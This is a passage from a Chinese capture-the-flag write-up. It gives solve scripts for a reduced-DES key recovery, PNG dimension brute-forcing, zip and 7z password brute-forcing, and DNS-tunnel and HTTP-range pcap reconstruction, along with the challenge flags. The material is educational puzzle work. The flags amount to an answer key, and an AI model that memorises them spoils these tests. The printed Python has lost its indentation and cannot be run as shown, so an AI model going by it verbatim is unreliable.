for j in range(4):
res.append(int(temp[j]))
return res
# number in bin to number in hex
def bin_to_hex(a):
b = int(a, 2)
return hex(b)[2:]
# text in bin to text in hex
def b2h(s):
res = ''
now_bin = ''
for i in range(len(s)):
now_bin += chr(s[i] + ord('0'))
if len(now_bin) % 4 == 0:
res += bin_to_hex(now_bin)
now_bin = ''
return res
def gen_P_1():
p = getPbox()
p_1 = [0] * 32;
for i in range(32):
p_1[p[i] - 1] = i
return p_1
def str2martix(s):
m = [0] * 6
for i in range(6):
m[i] = int(s[i], 2)
return m
def solve(plaintext, cipher):
m = h2b(plaintext)
c = h2b(cipher)
C_IP = [0] * 64
M_IP = [0] * 64
cipher = [0] * 64
may_after_xor = [[''for i in range(4)]for j in range(8)]
L = [[0] * 32 for i in range(17)]
R = [[0] * 32 for i in range(17)]
ast = [0] * 32
IP, IP_1 = getIP()
before_p = [0] * 32
S = getSbox()
p_1 = gen_P_1()
# get IP replace
for i in range(64):
M_IP[i] = m[IP[i] - 1]
C_IP[i] = c[IP[i] - 1]
# get L0 and R0
for i in range(32):
L[0][i] = M_IP[i]
R[0][i] = M_IP[i + 32]
for i in range(32):
L[1][i] = C_IP[i]
R[1][i] = C_IP[i + 32]
e = extend(R[0])
cip = xor(R[1], L[0])
for i in range(32):
before_p[i] = cip[p_1[i]]
# 还原进入sbox前的值
for i in range(8):
for j in range(4):
for k in range(16):
if S[i][j][k] == int(b2h(before_p[i*4:(i+1)*4]), 16):
may_after_xor[i][j] = (bin(j)[2:].zfill(2)[0] + bin(k)[2:].zfill(4) + bin(j)[2:].zfill(2)[1])
may_res = [[[]for i in range(4)]for j in range(8)]
for i in range(8):
for j in range(4):
may_after_xor[i][j] = str2martix(may_after_xor[i][j])
# 还原所有可能的K
for i in range(8):
for j in range(4):
may_res[i][j] = (xor(may_after_xor[i][j], e[i*6:(i+1)*6]))
return may_res
def gen_PC_1():
PC_1, PC_2 = getPC()
PC1, PC2 = [-1] * 64, [-1] * 56
for i in range(56):
PC1[PC_1[i] - 1] = i
for i in range(48):
PC2[PC_2[i] - 1] = i
return PC1, PC2
# def resolve_key(roundKey):
# C = [0] * 28
# D = [0] * 28
# K = [0] * 56
# PC_1, PC_2 = getPC()
# PC1, PC2 = gen_PC_1()
# moveNum = getMoveNum()
# for i in range(48):
# if PC2[j] <= 28:
# C[PC2[j]] = roundKey[i]
# else:
# D[PC2[j] - 28] = roundKey[i]
# C = leftRow(C, 28 - moveNum[i])
# D = leftRow(D, 28 - moveNum[i])
# for i in range(28):
# K[i] = C[i]
# K[i + 28] = D[i]
# for i in range(56):
# key[PC1[i]] = K[i]
# return key
if __name__ == '__main__':
plaintext1 = "4845AB454511C0F0"
miwen1 = "2EA85F08AA80C2D2"
plaintext2 = "0123456789ABCDEF"
miwen2 = "0293A8B9E45FCE5D"
plaintext3 = "81120015A001FDF1"
miwen3 = "E88382207800FE7A"
plaintext4 = "2214500AEF00CD48"
miwen4="B38AA0AD7720E4AC"
plaintext5 = "5791AC22121B1234"
miwen5="A3C0DEB9AB0F833A"
K1 = solve(plaintext1, miwen1)
K2 = solve(plaintext2, miwen2)
K3 = solve(plaintext3, miwen3)
K4 = solve(plaintext4, miwen4)
K5 = solve(plaintext5, miwen5)
K = []
for i in range(8):
for j in range(4):
if (K1[i][j] in K2[i]) and (K1[i][j] in K3[i]) and (K1[i][j] in K4[i]) and (K1[i][j] in K5[i]):
print(i, j)
K += K1[i][j]
print(K)
Misc
[萌新]在哪儿呢
PDF里面有很多不可见字符,直接复制粘贴到sublime里面就可以看到flag
flag{hey_there_is_no_thing}
[签到]签到
题目描述,直接提交
只是个PNG,别想太多了.png
拿到png,利用pngdebugger查,发现后面的块恢复成IDAT就行
crc不对,爆破长宽,抄了个大师傅的脚本
import zlib
import struct
file = 'PNG.png'
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
#crc32key = 0xCBD6DF8A
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00')
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
#print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close
# return None
恢复后图片新增内容
看到多了一个压缩的部分,拿binwalk分了下,flag在后面的文件中
flag{zhe_ti_mu_ye_tai_bt_le_XD}
压缩包压缩包压缩包压缩包
import zipfile
import os
for i in range(0,1000):
name = os.listdir("./")[0]
zfile = zipfile.ZipFile(name,'r')
in_file = zfile.namelist()[0]
passwd = in_file[0:-4]
zfile.extract(in_file, './',bytes(passwd,encoding ="ascii"))
zfile.close()
os.remove(name)
解出23333.zip
密码根据规律猜测是3-6位,爆破得到756698是密码
010editor搜索flag得到flag
flag{Unz1p_i5_So_C00l##}
range_download
过滤dns报文,存在几条query name为xx.nss.neusoft.edu.cn的dns请求包,应该是base64编码的dns隧道,上脚本分析:
import pyshark
import re
import base64
cap = pyshark.FileCapture('range.pcapng',display_filter='dns and dns.flags==0x00000100 and dns.qry.name matches "^[^.-]*\.nss.neusoft.edu.cn$"')
datas = []
ids = []
for pkt in cap:
name = pkt.dns.qry_name
id = pkt.dns.id
match = re.search('^([^.-]*)\.nss.neusoft.edu.cn$', name)
data = ''
if match:
data = match.group(1)
if data == '':
print('error! ' + name)
if id in ids:
continue
datas.append(data)
ids.append(id)
line = ''.join(datas)
img = base64.b64decode(line.encode())
print(img)
cap.close()
跑出来是password: nss_yyds!
过滤http协议,全都是206 Partial Content,把flag.7z一个字节一个字节地传了过来,顺序是乱的,需要写脚本恢复。调试的时候发现基本每个字节都会被传输很多次,并且有一个字节没有被传输,这些在写脚本的时候都需要注意到。
import pyshark
import re
import base64
cap = pyshark.FileCapture('range.pcapng',display_filter='http and http.response.code == 206')
data = bytearray(2460)
poslist = [False for i in range(2460)]
for pkt in cap:
length = int(pkt.http.content_length)
payload = pkt.http.file_data.binary_value
for field in pkt.http.response_line.alternate_fields:
if field.showname_key == 'Content-Range':
pos_start = -1
pos_end = -1
contentRange = field.showname_value.strip('\\r\\n')
match = re.search('bytes (\d+)-(\d+)/\d+', contentRange)
if match:
pos_start = int(match.group(1))
pos_end = int(match.group(2))
assert(pos_end - pos_start + 1 == length)
for i in range(pos_start, pos_end+1):
if poslist[i] == True:
assert(data[i] == payload[i-pos_start])
else:
poslist[i] = True
data[pos_start:pos_end+1] = payload
else:
print('Error! Range not found!')
exit(0)
break
else:
pass
for i in range(2460):
if poslist[i] == False:
print(i)
cap.close()
with open('flag.7z','wb') as f:
f.write(data)
下标2349位置的字节未知,需要爆破一下:
import py7zr
import os
import _lzma
with open('flag.7z','rb') as f:
source = f.read()
data = bytearray(source)
for i in range(256):
print("Now: "+str(i))
data[2349] = i
with open('flag%d.7z'%(i),'wb') as f1:
f1.write(data)
try:
with py7zr.SevenZipFile('flag%d.7z'%(i), 'r', password='nss_yyds!') as archive:
if archive.test() == True or archive.test() == None:
print('Found:' + str(i))
break
else:
os.remove('flag%d.7z'%(i))
except (py7zr.exceptions.Bad7zFile, _lzma.LZMAError) as e:
print(e)
os.remove('flag%d.7z'%(i))
运行结果是194,将flag194.7z解压得到flag.png
解码为5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d
ciphey一把梭:
flag{6095B134-5437-4B21-BE52-EDC46A276297}